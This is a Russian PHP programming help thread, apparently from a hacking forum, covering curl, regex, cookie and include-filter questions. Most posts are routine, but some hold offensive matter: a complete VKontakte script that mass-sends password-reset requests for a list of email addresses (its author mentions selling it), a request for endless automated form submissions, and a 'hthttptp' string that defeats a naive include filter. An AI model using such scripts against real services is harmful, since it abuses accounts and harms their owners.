$subject = 'Блала: '.$dave;

krypt3r
15.12.2009, 22:41
Эх, ну почему же мануалы-то не читаем, а?

$subject = 'Блала: '.$dave;
$subject = "Блала: $dave";

Byrger
17.12.2009, 12:44
Допустим есть окно автаризации на сайте
Там GET передается параметр Login=

Если прописать login[]=
То вылазит ошибка, допустим при обработке такой переменной средствами htmlspecialchars()


Как исправить данную уязвимость?

m0Hze
17.12.2009, 12:58
$login = (string) $_GET['login'];

Zircool
17.12.2009, 14:18
Здравствуйте... Работаю с Curl при авторизации с использованием curl вылетает ошибка



Warning: curl_setopt() [function.curl-setopt]: CURLOPT_FOLLOWLOCATION cannot be activated when in safe_mode or an open_basedir is set in /home/strlenc/public_html/xxxx.com/xxxx/index.php on line 32



Ругается хост на следующую строку



// "Следовать туда, куда зовут". Если сервис выдает 302 код, мы следуем по этой ссылке
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,true);




Как эту ошибку можно исправить?

Pashkela
17.12.2009, 14:39
CURLOPT_FOLLOWLOCATION cannot be activated when in safe_mode or an open_basedir

http://www.translate.ru/Default.aspx/Text?prmtlang=ru

Solide Snake
17.12.2009, 16:04
Проверка доступности http ресурса.

Итак, необходим простейший код на php, который при открытии страницы выводит доступность определенного адреса (онлайн или оффлайн). Как тут например: http://search.netbynet.ru/ftp

Нашел вот такой код:

<?php
if(@fsockopen("site.ru", "80", $errno, $errstr, 1)){
echo "online";
}else{
echo "offline";
}
?>

Но если в нем указываю допустим polzav.homeftp.net и 8080 то пишет постоянно оффлайн, хотя сайт доступен
Что не так?)

Pashkela
17.12.2009, 16:10
<?php
if(@fsockopen("polzav.homeftp.net", "8080", $errno, $errstr, 10)){
echo "online";
}else{
echo "offline";
}
?>


у меня пишет онлайн, но если у тебя интернет не очень, попробуй таймаут побольше сделать, не все же сайты моментально всегда открываются, одной секунды просто может маловато

PS: Просто на 80-м порту твой polzav.homeftp.net недоступен

Solide Snake
17.12.2009, 16:20
Pashkela
А ты на хостинге или на компьютере проверял? А то может от провайдера зависит...
А то ставлю и 10 и больше, всё равно оффлайн..

Pashkela
17.12.2009, 16:24
1-ый на Win XP дома, на девере, ща не хосте затестю...

Потестил на VDS - тоже пашет. Скорее всего твой хостер режет, особенности какие-нибудь, очень стандартная ситуация и код

krypt3r
17.12.2009, 16:24
Что пишут переменные $errno & $errstr?

Pashkela
17.12.2009, 16:50
Ну тут, если чисто имхо, ответ такой:

- хост скорее всего бесплатный или виртуальный
- IP-адреса 90% прокси и соксов работают именно на 8080 порту
- предоставляются услуги хостинга, а не микродеда, никому не понравиться, что с его IP будут заниматься брутом

Вывод - исходящие соединения на внешние адреса с портом 8080 запрещены фаером/другим способом

Byrger
17.12.2009, 17:10
Помогите сделать небольшую функцию которая будет:
выдавать 3 числа при умоножении которых друг на друга получится число 32
Числа надо выдавать рандомые и в рандомной позиции

Hk4q5
17.12.2009, 17:15
возможно отправлять POST запросы в форму через php ... но чтоб при отправке в поле: name="test" писал случайные цыфры например, или символы? без повторений :) а еще чтоб кнопочку нажимал "submit" :) с цыклом, тоесть бесконечно)

вот форма, если можно напишите пример, как :)

Форма:

<form name="form1" action="form1.php" method="post">
<input class="button" type="text" name="test" size="16" maxlength="16"/>
<input type="submit" name="submit" value="submit"/>
</form>

mailbrush
17.12.2009, 17:21
Юзай curl, если надо отправлять запросы, HTML'ом и JS'ом не обойдешься...

m0Hze
17.12.2009, 17:30
Помогите сделать небольшую функцию которая будет:
выдавать 3 числа при умоножении которых друг на друга получится число 32
Числа надо выдавать рандомые и в рандомной позиции
4,4,2. Три числа,с помощью которых можно получить число 32.Я бы взял их за основу,и пробывал куртить с ними.А еще можно в цикле создавать рандоные числа,и с помощью %, искать нужные сисла,пока не будет безостаточного деления.Ну вообщем - тут фантазировать нужно.

Byrger
17.12.2009, 17:41
4,4,2. Три числа,с помощью которых можно получить число 32.Я бы взял их за основу,и пробывал куртить с ними.А еще можно в цикле создавать рандоные числа,и с помощью %, искать нужные сисла,пока не будет безостаточного деления.Ну вообщем - тут фантазировать нужно.
спасиб, вот какраз фантазии не хватает

Architek86
17.12.2009, 18:26
Никто не в курсе, при проверки условия вида

if ( is_file($file) AND filesize($file)>0 )

PHP будет проверять второе условие (т.е. filesize($file)>0), если первое (is_file($file)) возвращает false ?

Хотя думаю, скорее всего нет))

Deathdreams
17.12.2009, 18:28
Architek86

Не должен, сразу вернёт False.

Чтобы проверял, нужно сделать так:

is_file($file) || filesize($file)>0

или

is_file($file) OR filesize($file)>0

mailbrush
17.12.2009, 18:48
спасиб, вот какраз фантазии не хватает
А ты подумай :)
<?php

while (true)
{
$n = array(rand(0, 32), rand(0, 32), rand(0, 32));
if ($n[0] * $n[1] * $n[2] == 32)
{
echo $n[0] . ' * ' . $n[1] . ' * ' . $n[2] . ' = 32';
break;
}
}

?>

Gifts
17.12.2009, 19:22
Byrger Так вроде побыстрее будет.function factorize($n)
{
$from = array(1,2,4,8,16,32);
$result = array();
for ($i = 0; $i < 2; $i++)
{
$result[] = $from[mt_rand(0,array_search($n, $from))];
$n /= $result[$i];
}
$result[]=$n;
return $result;
}
echo implode(' * ',factorize(64)).' = 32';

Architek86
17.12.2009, 19:24
те, кто работал с ZipArchive class PHP (http://www.php.net/manual/en/class.ziparchive.php) , вопрос:
есть ли метод/способ определить общий размер файлов в архиве, не распаковывая его?
или придётся читать заголовки архива и искать там размеры файлов?

Fepsis
17.12.2009, 19:25
Byrger, мой вариант:
<?php

$del[32]= array(32, 16, 8, 4, 2, 1);
$del[16]= array(16, 8, 4, 2, 1);
$del[8]= array(8, 4, 2, 1);
$del[4]= array(4, 2, 1);
$del[2]= array(2, 1);
$del[1]= array(1);


function random($array)
{
$n = $array[rand (0, count($array)-1)];
return $n;
}


$n1 = random($del[32]);
$n2 = random($del[32/$n1]);
$n3 = 32/($n1*$n2);

echo $n1.' * '.$n2.' * '.$n3.' = 32';

?>

Используется несколько массивов, поэтому памяти побольше будет юзать чем ксрипт от mailbrush, но в моём варианте не тратится время на поиск нужной комбинации, так что возможно быстрее будет работать.. Хотя ХЗ-ХЗ...)

Architek86
17.12.2009, 19:48
но в моём варианте не тратится время на поиск нужной комбинации, так что возможно быстрее будет работать.. Хотя ХЗ-ХЗ...)
Это типа поиск? это скорее лотерея, где если повезёт, то комбинация даст 32 ))) (я про скрипт mailbrush)

hooligan4ik
18.12.2009, 14:49
Уважаемые мастера!
У меня есть движок мониторинга серверов кс 1.6!
Задача стоит вот в чем:
1)Какимто образом вывести самую популярную карту!
2)Сделать графики посещаемости серверов как на http://www.ukrgame.net/index.php?act=cod4graph

m0Hze
18.12.2009, 15:53
Уважаемые мастера!
У меня есть движок мониторинга серверов кс 1.6!
Задача стоит вот в чем:
1)Какимто образом вывести самую популярную карту!
2)Сделать графики посещаемости серверов как на http://www.ukrgame.net/index.php?act=cod4graph
1) Записывать в БД при мониторинге карту, и если такая карта есть в БД,то rep=rep+1; И таким образом,ввыводим состистику,сортируя по rep
2) По сути - тоже самое,но с использованием ГД,или класса строения графиков.

SeNaP
18.12.2009, 16:41
Как установить модуль curl в linux'e?

svesve
18.12.2009, 17:04
Как установить модуль curl в linux'e?

apt-get install php5-curl

или так

emerge php5-curl

Byrger
18.12.2009, 18:12
function IsValidLogin($login){
if(eregi("/^[a-zA-Z0-9А-Яа-я]{3,16}$/i",trim($login))) return(1); else return(0);
}

Функция чекает логин и должна принемать кирилицу чего она не делает :(
Как поправить (все скрипты в utf8)
но только средстрами PHP

svesve
18.12.2009, 18:20
function IsValidLogin($login){
if(eregi("/^[a-zA-Z0-9А-Яа-я]{3,16}$/i",trim($login))) return(1); else return(0);
}

Функция чекает логин и должна принемать кирилицу чего она не делает :(
Как поправить (все скрипты в utf8)
но только средстрами PHP


если я правильно понял то попробуй так

function IsValidLogin($login){
$login=iconv('UTF-8', 'windows-1251', $login);
if(eregi("/^[a-zA-Z0-9А-Яа-я]{3,16}$/i",trim($login))) return(1); else return(0);
}

b3
18.12.2009, 18:25
1. http://ua2.php.net/manual/en/function.iconv.php
2. Перепиши с eregi на preg_match

Chode
18.12.2009, 21:10
Посоветуйте класс, библиотеку для работы с почтой, pop-imap, smtp. Максимально универсальную. Что-то порылся на phpclasses но пока глухо. Писать с нуля не хочется.

Есть готовые решения? Спасибо

Deathdreams
18.12.2009, 21:23
Chode
Тут не эекстрасенсы сидят, напиши какой должен быть функционал, потом глянь в Полезных скриптах, может там чё есть.

Vlad&slav
18.12.2009, 21:53
есть текстовик :


...............................
21
432=>
343
4354235
42<=3=>
234
6542=>36
5423
<=654235435
346432
<=4352435423
5

Нужно чтобы скрипт если находил в строках <= и => то изменял отступ последуюших строк, тоесть должно получиться:

......................
21
432=>
343
4354235
42<=3=>
234
6542=>36
5423
<=654235435
346432
<=4352435423
5

krypt3r
18.12.2009, 22:02
А что делать со строкой "42<=3=>", где оба символа присутствуют?

Vlad&slav
18.12.2009, 22:07
А что делать со строкой "42<=3=>", где оба символа присутствуют?
выдвинуть из текста на один отступ ближе а дальше текст пустить как перед такой строкой

//
1213
35
4<=354=>6
5465
654
6

hooligan4ik
18.12.2009, 22:15
echo"<script type='text/javascript' src='".JS."jquery.js'></script>\n"; echo"<script type='text/javascript' src='".JS."cookies.js'></script>\n"; echo"<script type='text/javascript' src='".JS."jquery.cookies.js'></script>\n"; echo "<title>".$settings['sitename']."</title>\n"; ?> <? echo"</head>\n"; require_once INCLUDES."navigation.php"; echo"<center><table border='0' align='center' cellpadding='0' cellspacing='0' class='stat sortable' >"; if(!$serv_num==0){ echo"</tbody></table>"; echo"<link rel='stylesheet' href='http://www.mon1toring.ru/templates/two-tiers.css' type='text/css'></link>\n"; echo"<link rel='stylesheet' href='http://www.mon1toring.ru/templates/default.css' type='text/css'></link>\n"; echo "<hr class='none_hr' /><table border='0' align='center' cellpadding='0' cellspacing='0' class='another_table' width='100%'><th width='4%'><center><DIV align=center>&nbsp;<IMG height=11 src='images/pw1.gif' width=9 border=0 ;></DIV></center></th><th width='28%'><left>".$locale['010']."</left></th><th width='10%'><center>".$locale['011']."</center></th><th width='20%'><center>".$locale['012']."</center></th><th width='18%'><center>".$locale['013']."</center></th><th width='8%'><center>".$locale['014']."</center></th><th width='6%'><center>".$locale['015']."</center></th><th width='6%'><center>".$locale['016']."</center></th></tr>"; $i=0; while($r=dbarray_fetch($servers)) { $players = $r['server_players']."/".$r['server_maxplayers'] ; if($r['server_players'] == $r['server_maxplayers']) { $players = "<font color='#00FF00'>".$r['server_players']."/".$r['server_maxplayers']."</font>";} if($r['server_players'] == 0) { $players = "<font color='red'>".$r['server_players']."/".$r['server_maxplayers']."</font>";} $i++; $img = "<img src='images/maps/default.jpg' width='40' height='30'>"; if (file_exists("images/maps/$r[server_map].jpg")) {$img = "<img src='".BASEDIR."images/maps/$r[server_map].jpg' width='40' height='30' alt='$r[server_map]'>";} if($r['server_vip']==1){ echo"<tr class='' onmouseout=this.className='' onmouseover=this.className='hl' height='30' style='background: #570016; text-align:left;'><td>$i</td>";} else {echo"<tr class='' onmouseout=this.className='' onmouseover=this.className='hl'><td>$i</td>";} echo"<td align='left'><a href='".$settings['siteurl']."server-$r[server_id]' id='link'>$r[server_name]</a></td>"; echo"<td align='center'><a href='steam://connect/$r[server_ip]'>$r[server_ip]</a></td>"; echo"<td align='center'><a href='./images/maps/$r[server_map].jpg'>".$img."<br>$r[server_map]</a></td>"; echo"<td align='center'>".$players."</td>"; echo"<td align='center'>$r[server_protokol]</td>"; echo"<td align='center'><img src='images/flags/$r[server_location].png' height='12' width='16' alt='$r[server_location]' title='$r[server_location]''></td>"; echo"<td align='center'>"; if($r['server_vip']==1){ echo $locale['018']; } else{ echo "<span class='votes_count' id='votes_count$r[server_id]' >".$r['votes']."</span>"; echo "<span class='vote_buttons' id='vote_buttons$r[server_id]'>"; echo " <a href='javascript:;' class='vote' id='$r[server_id]'></a>"; echo "</span>"; } echo "</td></tr></tr>"; } } else {echo "<th><center> ".$locale['017']."</center></th>"; } echo"</tbody></table></center>"; if($serv_num !=0) { $ip = getenv('REMOTE_ADDR'); $ip = $_SERVER['REMOTE_ADDR']; echo "<div align='center'>Ваш IP адрес: ";echo $ip; echo"</tbody></table></center><div align='center'><a href ='all_servers'>".$locale['022']."</a></div>";} echo"<hr class='clear'>";

вот скрипт вывода инфы о серверах!CS
ребят нада замутить вывод популярной карты
Если возможно описать по подробнее!
Много где обращался везде баян!Последняя надежда на вас!)
Заранее спасибо!

Byrger
18.12.2009, 22:50
Безопасен ли инклуд?

function cl_include($action){
$action = (string)($action);
$filter = array("http","ftp",":",";","/","\\",".","%27","'","`","=","%","base64");
$filter_data = str_replace($filter, "", $action);
return $filter_data;
}

$action=htmlspecialchars((string)$_GET[action]);
if((file_exists("modules/$action.php"))&&(is_file("modules/$action.php"))){

$action=cl_include($action);
include("modules/$action.php");

}

Zircool
19.12.2009, 00:16
Помогите составить POST multipart/form-data запрос через curl



POST http://site.ru/add.php HTTP/1.1
User-Agent: Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.2.15 Version/10.01
Host: site.ru
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Referer: http://site.ru/rent/add.html
Cookie: uid=AAAAACcbJEvUO3WmAWhUBQ==; pscode=OXYfz9gLUP2Ln8vjiIUdoJUXZiVpc581; isauth=1
Cookie2: $Version=1
Connection: Keep-Alive, TE
TE: deflate, gzip, chunked, identity, trailers
Content-Length: 2237
X-Opera-Info: ID=869, p=0, f=7, sw=1024, sh=768
X-Opera-ID: e91b0c8c521ea347c317914aa6fb71c48a9653b74459580683 b9e82620e0704d
X-Opera-Host: t09-02:12431
X-OA: 2740 15d569fbf510645c5b829f9b084a0510389d1de51650653f09 3436ca8c4d5fa1
X-OB: peregrine
Content-Type: multipart/form-data; boundary=----------t9JEJDbwWY3An0Q9pvzHgH

------------t9JEJDbwWY3An0Q9pvzHgH
Content-Disposition: form-data; name="action"

add
------------t9JEJDbwWY3An0Q9pvzHgH
Content-Disposition: form-data; name="rubric"

2
------------t9JEJDbwWY3An0Q9pvzHgH
Content-Disposition: form-data; name="object"

6
------------t9JEJDbwWY3An0Q9pvzHgH
Content-Disposition: form-data; name="region"

3
------------t9JEJDbwWY3An0Q9pvzHgH
Content-Disposition: form-data; name="series"

6
------------t9JEJDbwWY3An0Q9pvzHgH
Content-Disposition: form-data; name="build_type"

3
------------t9JEJDbwWY3An0Q9pvzHgH
Content-Disposition: form-data; name="status"

1
------------t9JEJDbwWY3An0Q9pvzHgH
Content-Disposition: form-data; name="decoration"

1
------------t9JEJDbwWY3An0Q9pvzHgH
Content-Disposition: form-data; name="address"

пр.Ленина 93
------------t9JEJDbwWY3An0Q9pvzHgH
Content-Disposition: form-data; name="area_build"

36
------------t9JEJDbwWY3An0Q9pvzHgH
Content-Disposition: form-data; name="floor"

3
------------t9JEJDbwWY3An0Q9pvzHgH
Content-Disposition: form-data; name="floors"

1
------------t9JEJDbwWY3An0Q9pvzHgH
Content-Disposition: form-data; name="phone"

1
------------t9JEJDbwWY3An0Q9pvzHgH
Content-Disposition: form-data; name="furnit"

1
------------t9JEJDbwWY3An0Q9pvzHgH
Content-Disposition: form-data; name="area_site"

34
------------t9JEJDbwWY3An0Q9pvzHgH
Content-Disposition: form-data; name="area_site_unit"

1
------------t9JEJDbwWY3An0Q9pvzHgH
Content-Disposition: form-data; name="contacts"

zloy@mail.ru
------------t9JEJDbwWY3An0Q9pvzHgH
Content-Disposition: form-data; name="price"

0
------------t9JEJDbwWY3An0Q9pvzHgH
Content-Disposition: form-data; name="price_unit"

1
------------t9JEJDbwWY3An0Q9pvzHgH
Content-Disposition: form-data; name="img1"; filename=""


------------t9JEJDbwWY3An0Q9pvzHgH
Content-Disposition: form-data; name="img2"; filename=""


------------t9JEJDbwWY3An0Q9pvzHgH
Content-Disposition: form-data; name="img3"; filename=""


------------t9JEJDbwWY3An0Q9pvzHgH
Content-Disposition: form-data; name="description"


------------t9JEJDbwWY3An0Q9pvzHgH
Content-Disposition: form-data; name="period"

1
------------t9JEJDbwWY3An0Q9pvzHgH--

Chode
19.12.2009, 00:29
Chode
Тут не эекстрасенсы сидят, напиши какой должен быть функционал, потом глянь в Полезных скриптах, может там чё есть.
Про экстрасенсов я вижу.

Объясню: я написал "для работы c pop-imap, smtp" - под этим подразумевал прием и передача почты. Словосочетание "максимально универсальную" означало наибольшую совместимость с различными стандартами протоколов - стандарты RFC для IMAP, POP3, SMTP. Таким образом искомая библиотека, класс, расширение PEAR или еще что нибудь должно обладать готовыми средствами для автоматического определения стандартов используемых для, хотя бы, простейшего приема, передачи почты.

Сейчас лучше ? :)

Player#1
19.12.2009, 00:35
Помогите составить POST multipart/form-data запрос через curl


Вот, вроде так...
Заголовки не все, но по аналогии, думаю доделаешь.



$upload="";
$postdata = array("action" => "add", "rubric" => "2", "rubric" => "2", "object" => "6", "region" => "3", "img1" => "@".$upload);
$httpheaders = array("Host: site.ru", "Cookie2: $Version=1");
$url="http://site.ru/add.php";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_COOKIE, "uid=AAAAACcbJEvUO3WmAWhUBQ==; pscode=OXYfz9gLUP2Ln8vjiIUdoJUXZiVpc581; isauth=1");
curl_setopt($ch, CURLOPT_HTTPHEADER, $httpheaders);
curl_setopt($ch, CURLOPT_USERAGENT, "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.2.15 Version/10.01")
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$result = curl_exec($ch);
curl_close($ch);

b3
19.12.2009, 04:43
Безопасен ли инклуд?

function cl_include($action){
$action = (string)($action);
$filter = array("http","ftp",":",";","/","\\",".","%27","'","`","=","%","base64");
$filter_data = str_replace($filter, "", $action);
return $filter_data;
}

$action=htmlspecialchars((string)$_GET[action]);
if((file_exists("modules/$action.php"))&&(is_file("modules/$action.php"))){

$action=cl_include($action);
include("modules/$action.php");

}


<?php
$filter_data = 'hthttptp';
$filter = array("http","ftp",":",";","/","\\",".","%27","'","`","=","%","base64");
$filter_data = str_replace($filter, "", $filter_data);
echo $filter_data;
?>

выведет:
http
Вот и вся твоя защита, указывай явно что можно инлудить а что нет.

le-mon
19.12.2009, 14:30
Не могу понять в чем может быть ошибка :confused: Vkontakte.ru Ретривер(высылание паролей по списку мыл)


(c)Player#1 for antichat.ru<br><br>
<?php
set_time_limit(0);
function curl($url,$post)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
return $result;
};
$fp=fopen("accounts.txt", "rt");
while(!feof($fp))
{
$str = fgets($fp, 100);
$acc = explode(";", $str, 2);
$login = trim($acc[0]);
$post = "op=retrieve&email=".$login;
$result = curl("http://vkontakte.ru/login.php", $post);
echo $login;
flush();
if(strpos($result, "Location: login.php?p=1"))
{
echo " - Пароль выслан<br>";
}else{
echo "Ошибка!<br>";
};
};
fclose($fp);
?>



Хелп :)

Player#1
19.12.2009, 14:57
Не могу понять в чем может быть ошибка :confused: Vkontakte.ru Ретривер(высылание паролей по списку мыл)
Хелп :)

О_О знакомый код :D



(c)Player#1 for antichat.ru<br><br>
<?php
set_time_limit(0);



Этот скрипт уже не работает, надо подправить немного...
Кстати, я продавал рабочую версию, но потом на mail.ru перестали вовремя приходить письма, поэтому скрипт был не актуален.
Сейчас ситуация изменилась, поэтому скоро обновлю скрипт и он вновь поступит в продажу.

m0Hze
19.12.2009, 14:59
Не могу понять в чем может быть ошибка :confused: Vkontakte.ru Ретривер(высылание паролей по списку мыл)


(c)Player#1 for antichat.ru<br><br>
<?php
set_time_limit(0);
function curl($url,$post)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
return $result;
};
$fp=fopen("accounts.txt", "rt");
while(!feof($fp))
{
$str = fgets($fp, 100);
$acc = explode(";", $str, 2);
$login = trim($acc[0]);
$post = "op=retrieve&email=".$login;
$result = curl("http://vkontakte.ru/login.php", $post);
echo $login;
flush();
if(strpos($result, "Location: login.php?p=1"))
{
echo " - Пароль выслан<br>";
}else{
echo "Ошибка!<br>";
};
};
fclose($fp);
?>



Хелп :)
Если я не ошибюсь,то 100 - колво байтов,которые нам слебует получить = 100 символов.Так он и будет брат ь100 символов,эксплодить по ; и первое вождение подставлять в виде емаила.М?
Тут нужно:

$file = file('account.txt');
$count = count($file);
while($i < $count)
{
list($login,$password) = explode(';',$file[$i]);
$post = "op=retrieve&email=".$login;
$result = curl("http://vkontakte.ru/login.php", $post);
echo $login;
flush();
if(strpos($result, "Location: login.php?p=1"))
{
echo " - Пароль выслан<br>";
}else{
echo "Ошибка!<br>";
}
$i++;
}

Примерно так,писал на "коленке".

le-mon
19.12.2009, 15:20
m0Hze, так тоже:

(c)Player#1 for antichat.ru

Ошибка!
gyndosi@bk.ruОшибка!
andre-fomin@mail.ruОшибка!
nick63_samara@mail.ruОшибка!
kate-9292@bk.ruОшибка!
buka1987@mail.ruОшибка!
xamid-0078@mail.ruОшибка!

SQLHACK
19.12.2009, 21:32
есть такой код, и он работал прекрасно год, а вчера начал барахлить и не исполнятся, вар дамп который там стоит показывает вот что

int(10) resource(31) of type (curl_multi)
Warning: (null)(): 32 is not a valid cURL handle resource in Unknown on line 0

в чем дело даже вообще не понятно, подскажите люди, ибо дебагу этот код не поддается. может кто то сталкивался с такой проблемой в курле.

а если вар дамп убрать то просто кидает в браузер заголовок
Status=OK - 200
то есть больше вообще никаких хидеров не посылает в браузер, 1 строка и всё


for($i=0;$i<count($sites);$i+=$this->threads){
$curly = array();
$result = array();
$mh = curl_multi_init();
for($m=$i;$m<=($i+$this->threads)-1;$m++){
//prepare thread
if($transok){
$curly[$m] = curl_init($trans);
}else{
$curly[$m] = curl_init($sites[$m]['url']);
}

curl_setopt($curly[$m], CURLOPT_POST, 1);
curl_setopt($curly[$m], CURLOPT_POSTFIELDS, $sites[$m]['post']);
curl_setopt($curly[$m], CURLOPT_TIMEOUT, 60);
curl_setopt($curly[$m], CURLOPT_RETURNTRANSFER, 1);

curl_multi_add_handle($mh, $curly[$m]);
var_dump($this->threads, $mh);die();
}

// execute the handles
$running = null;
do {
curl_multi_exec($mh, $running);
usleep(100000);
} while($running > 0);
// get content and remove handles
foreach($curly as $id => $c) {
$result[$id] = curl_multi_getcontent($c);
if(is_numeric(trim($result[$id]!==false))){
$result[$id] = intval($result[$id]);
$r = mysql_query("UPDATE incsites SET status='".intval($result[$id])."', lastmodif=now() WHERE userid='".$_SESSION['user']['id']."' and id='".$sites[$id]['id']."'");
}
curl_multi_remove_handle($mh, $c);
}
curl_multi_close($mh);
}


Configure Command './configure' '--with-apxs' '--with-curl' '--with-curl-dir=/usr/local/lib' '--with-gd' '--with-gd-dir=/usr/local' '--with-gettext' '--with-jpeg-dir=/usr/local/lib' '--with-kerberos' '--with-mcrypt' '--with-mhash' '--with-mysql=/usr' '--with-pear' '--with-png-dir=/usr/local/lib' '--with-xml' '--with-zlib' '--with-zlib-dir=/usr/local/lib' '--with-zip' '--with-openssl' '--enable-bcmath' '--enable-calendar' '--enable-ftp' '--enable-magic-quotes' '--enable-sockets' '--enable-track-vars' '--enable-mbstring' '--enable-memory-limit'


curlcURL support enabled
cURL Information libcurl/7.19.3 OpenSSL/0.9.7a zlib/1.2.3

Deathdreams
19.12.2009, 21:45
SQLHACK

Мб курл мульти не установлен?

SQLHACK
19.12.2009, 21:57
Configure Command './configure' '--with-apxs' '--with-curl' '--with-curl-dir=/usr/local/lib' '--with-gd' '--with-gd-dir=/usr/local' '--with-gettext' '--with-jpeg-dir=/usr/local/lib' '--with-kerberos' '--with-mcrypt' '--with-mhash' '--with-mysql=/usr' '--with-pear' '--with-png-dir=/usr/local/lib' '--with-xml' '--with-zlib' '--with-zlib-dir=/usr/local/lib' '--with-zip' '--with-openssl' '--enable-bcmath' '--enable-calendar' '--enable-ftp' '--enable-magic-quotes' '--enable-sockets' '--enable-track-vars' '--enable-mbstring' '--enable-memory-limit'


curlcURL support enabled
cURL Information libcurl/7.19.3 OpenSSL/0.9.7a zlib/1.2.3

mailbrush
19.12.2009, 22:06
есть такой код, и он работал прекрасно год, а вчера начал барахлить и не исполнятся, вар дамп который там стоит показывает вот что
Код сам по себе не мог перестать работать. Что-то изменилось... Сделай позавчерашний бекап, если таковой имелся.

SQLHACK
19.12.2009, 22:31
ну бекап чего делать , код не изменился. База точно не причем.
Единственное что мог обновится directadmin по крону. Но где искать косяк?

b3
19.12.2009, 23:10
Я сам мультикур нераскуривал, но работаю с классом Мультикурл, если хочеш стукни мне в асю я тебе перепишу скрипт, опишеш весь функционал, или же даш полный скрипт я поковыряю. А так не совсем ясно что у тебя там, к тому же в скрипте уже используется класс:
var_dump($this->threads, $mh);die();
и угадать что за класс и что должно быть в $this->threads никак =)

SQLHACK
19.12.2009, 23:32
$this->threads = 10

mff
20.12.2009, 02:19
:confused: :confused: :confused: :confused: :confused: :confused:
$_SESSION['username'] = $user_row['username']; // или какие поля ты хочешь, сессия
$_SESSION['password'] = $user_row['password'];
//echo $user_row['username'].' '.$user_row['password'];
setcookie("username", $user_row["username"],time()+3600); // куки
setcookie("password", $user_row["password"],time()+3600);

echo 'куки найдены' .$_COOKIE["username"].' '.$_COOKIE["password"];

помогите, не могу куки установить , уже день бьюсь как рыба об лёд :(

:confused: :confused: :confused: :confused: :confused: :confused:

TDKronuS
20.12.2009, 03:14
А как ты видишь, что куки не установлены? по echo 'куки найдены' .$_COOKIE["username"].' '.$_COOKIE["password"]; - этой строчке?

как бы массив $_COOKIE формируется в момент загрузки страницы. И данных username, password там нет. Попробуй явно их указать после setcookie(). $_COOKIE['username'] = $user_row["username"];

mff
20.12.2009, 06:42
Спс, разобрался, в начало документа скрипт закинул и всё заработало.

mff
20.12.2009, 17:58
Подскажите, как грамотно выполнить вот такую задачу:
Есть форма с чекбоксами:
<input type="checkbox" value="'.$row["id"].'" />
Нужно значения выбранных чекбоксов записать в базу, в виде строки: 'id', 'id', 'id, 'id', 'id'

:confused:

Nightmarе
20.12.2009, 18:21
У кого нибудь есть функции\классы алгоритмов RSA или AES для шифровки\дешифровки с открытым ключём?
Нигде не могу найти.
Главное чтобы функции работали сами по себе и не требовали стороннего софта на сервере

m0Hze
20.12.2009, 18:22
У кого нибудь есть функции\классы алгоритмов RSA или AES для шифровки\дешифровки с открытым ключём?
Нигде не могу найти.
Главное чтобы функции работали сами по себе и не требовали стороннего софта на сервере
наврятли такое есть.
/*add
http://www.phpclasses.org/search.html?words=AES&x=0&y=0&go_search=1
*/

m0Hze
20.12.2009, 18:24
Подскажите, как грамотно выполнить вот такую задачу:
Есть форма с чекбоксами:
<input type="checkbox" value="'.$row["id"].'" />
Нужно значения выбранных чекбоксов записать в базу, в виде строки: 'id', 'id', 'id, 'id', 'id'

:confused:
Вот бы по русски услышать задачу :)

[Raz0r]
20.12.2009, 18:30
Подскажите, как грамотно выполнить вот такую задачу:
Есть форма с чекбоксами:
<input type="checkbox" value="'.$row["id"].'" />
Нужно значения выбранных чекбоксов записать в базу, в виде строки: 'id', 'id', 'id, 'id', 'id'

:confused:
<?php
if(isset($_POST['checkbox']))
echo "'" . implode("','", $_POST['checkbox']) . "'";
?>

<form method="POST">
<input type="checkbox" name="checkbox[]" value="1" />
<input type="checkbox" name="checkbox[]" value="2" />
<input type="checkbox" name="checkbox[]" value="3" />
<input type="submit">
</form>

mff
20.12.2009, 18:55
[Raz0r], большое спасибо! То, что нужно!

N2kroot
20.12.2009, 19:18
Как сделать авторизацию на php на файлах?
Нашёл довольно подходящий скрипт :
<?php
#Файл-база пользователей, права доступа 766
$basemember = "data/base_avatar.dat";

#папка, где лежат картинки, права доступа 777 или 733
$papka_images = 'images';

#максимальный размер файла в байтах
$MAX_SIZE = '100000';

#ширина картинки
$fr_width = '120';

#высота картинки
$fr_height = '120';

// это функция уменьшает картинку
function small_image($path,$w_new,$h_new){
$file = @getimagesize ($path);
$w = $file[0]; $h = $file[1];
if($file[2]=='2'){ $old = @imageCreateFromJpeg($path); }
if($file[2]=='3'){ $old = @imageCreateFromPng($path); }
$new = @imageCreate($w_new, $h_new);
@imageCopyResized($new, $old, 0, 0, 0, 0, $w_new, $h_new, $w, $h);
if($file[2]=='2'){ @imageJpeg($new, $path); }
if($file[2]=='3'){ @imagePng($new, $path); }
@imageDestroy($old);
@imageDestroy($new);
return true;
}

// эта функция добавляет картинку
function add_images($arr){
global $MAX_SIZE,$basemember,$papka_images,$fr_width,$fr_ height,$c_name,$c_ppass;
$ffile = $papka_images."/".$arr['file_name']['name'];
if(@file_exists($ffile)) {return print "\n<br><font class='forums'><b>Error:</b></font> файл <b>".$ffile."</b> уже существует...<br>\n";}
